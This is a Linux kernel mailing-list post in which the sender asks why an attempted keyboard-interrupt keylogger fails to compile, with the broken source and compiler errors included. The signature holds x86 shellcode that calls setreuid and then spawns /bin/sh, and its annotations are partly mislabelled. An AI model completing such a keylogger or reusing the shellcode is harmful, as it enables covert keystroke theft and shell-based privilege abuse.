Hi, I'm experiencing problems compiling applications that include the header file linux/sched.h. I'm just trying to develop a little keylogger in Linux environment using kernel primitives, and request_irq() to install the interrupt associated to keyboard (in case of an interrupt from keyboard I call a function that reads the value included in keyboard's data register and prints it on stdout). This is the source file: #include <linux/sched.h> #include <stdio.h> #include <unistd.h> #include <asm/io.h> #include <asm/irq.h> #define KBD_DATA_REG 0x60 #define KBD_STATUS_REG 0x64 main() { if (ioperm(KBD_DATA_REG,4,1)<0) exit(1); request_irq (1,irq_handle,0,"my_kbd",NULL); } irqreturn_t irq_handle(int irq, void *id, struct pt_regs * reg) { int n; while(1) { n=inb(KBD_DATA_REG); printf ("%d\n",n); } } And this is what I get when I try to compile it: In file included from /usr/include/linux/sched.h:14, from key.c:12: /usr/include/linux/timex.h:173: error: field `time' has incomplete type In file included from /usr/include/linux/sched.h:21, from key.c:12: /usr/include/asm/mmu.h:12: error: field `sem' has incomplete type In file included from /usr/include/linux/sched.h:80, from key.c:12: /usr/include/linux/time.h:9: error: redefinition of `struct timespec' /usr/include/linux/time.h:119: error: redefinition of `struct itimerspec' key.c: In function `main': key.c:25: error: `irq_handle' undeclared (first use in this function) key.c:25: error: (Each undeclared identifier is reported only once key.c:25: error: for each function it appears in.) key.c: At top level: key.c:28: error: syntax error before "irq_handle" As suggested on a forum I added these lines on the top of the source: #ifndef __KERNEL__ # define __KERNEL__ #endif #ifndef MODULE # define MODULE #endif #include <linux/module.h> MODULE_LICENSE("GPL"); but I still get these errors: In file included from /usr/include/linux/times.h:4, from /usr/include/linux/sched.h:13, from key.c:12: /usr/include/time.h:119: error: redefinition of `struct timespec' /usr/include/time.h:160: error: redefinition of `struct itimerspec' /usr/include/time.h:191: error: conflicting types for 'mktime' /usr/include/linux/time.h:71: error: previous definition of 'mktime' was here key.c: In function `main': key.c:25: error: `irq_handle' undeclared (first use in this function) key.c:25: error: (Each undeclared identifier is reported only once key.c:25: error: for each function it appears in.) Any suggestion? -- char main[] = "\xeb\x19" /* jmp 804838f */ "\x5e" /* pop %esi */ "\xb0\x46" /* mov $0x46,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc9" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x0b" /* mov $0xb,%al */ "\x89\xf3" /* mov %esi,%ebx */ "\x31\xff" /* xor %edi,%edi */ "\x57" /* push %edi */ "\x56" /* push %esi */ "\x89\xe1 /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xe2\xff\xff\xff" /* call 8048376 */ "\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */ -- To unsubscribe from this list: send an email with "unsubscribe kernelnewbies" to ecartis@xxxxxxxxxxxx Please read the FAQ at http://kernelnewbies.org/FAQ